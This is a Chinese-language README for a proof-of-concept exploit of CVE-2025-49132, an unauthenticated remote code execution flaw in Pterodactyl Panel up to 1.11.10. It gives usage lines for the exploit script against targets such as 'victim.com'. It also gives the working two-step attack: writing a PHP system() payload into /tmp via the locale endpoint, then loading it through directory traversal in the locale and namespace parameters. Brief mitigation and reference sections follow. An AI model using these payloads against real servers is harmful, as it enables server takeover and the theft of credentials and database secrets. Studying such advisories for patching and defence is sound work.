CVE-2025-49132

Pterodactyl Panel - 未认证远程代码执行 (RCE)

---

🔎 摘要

CVE‑2025‑49132 是一个影响 Pterodactyl Panel <= 1.11.10 的严重远程代码执行漏洞。

未认证的攻击者可以利用 /locales/locale.json 端点的输入验证不当来执行任意系统命令。

已在版本 1.11.11 中修复

---

📌 影响

成功利用可导致：

• 未认证远程代码执行
• 读取敏感文件（例如 .env）
• 数据库凭据提取
• 完全入侵服务器

严重等级：严重

---

🧠 根本原因

该漏洞源于以下参数的验证不当：

• locale 参数
• namespace 参数

攻击者可以：

1. 滥用目录遍历 (../../../../../)
2. 利用 config-create
3. 将任意 PHP 载荷写入 /tmp
4. 通过构造的 namespace 加载触发执行

弱点分类：CWE-94 — 代码生成控制不当

---

🚀 概念验证 (PoC)

用法

python3 CVE-2025-49132-dbs.py --target <host> --cmd "<command>" [--path <pear_path>]

示例

python3 CVE-2025-49132-dbs.py --target victim.com --cmd "whoami"
python3 CVE-2025-49132-dbs.py --target 192.168.1.10 --cmd "id" --path /usr/local/lib/php/PEAR

默认路径：

/usr/share/php/PEAR

从 /phpinfo.php 页面获取正确路径

---

🛠 利用流程

步骤1 - 写入载荷

攻击者使用以下命令将恶意 PHP 载荷注入 /tmp/payload.php：

/<?=system('id')?>+/tmp/payload.php

步骤2 --- 触发执行

通过调用：

?locale=../../../../../tmp&namespace=payload

服务器执行注入的 PHP。

🛡 缓解措施

• 升级到 Pterodactyl Panel >= 1.11.11
• 对 locale 和 namespace 输入进行清理
• 禁用危险的 PHP 函数
• 限制不必要的端点暴露

---

📚 参考资料

• GitHub 通告：GHSA-24wv-6c99-f843
• CVE-2025-49132
• Pterodactyl Panel v1.11.11 补丁提交

---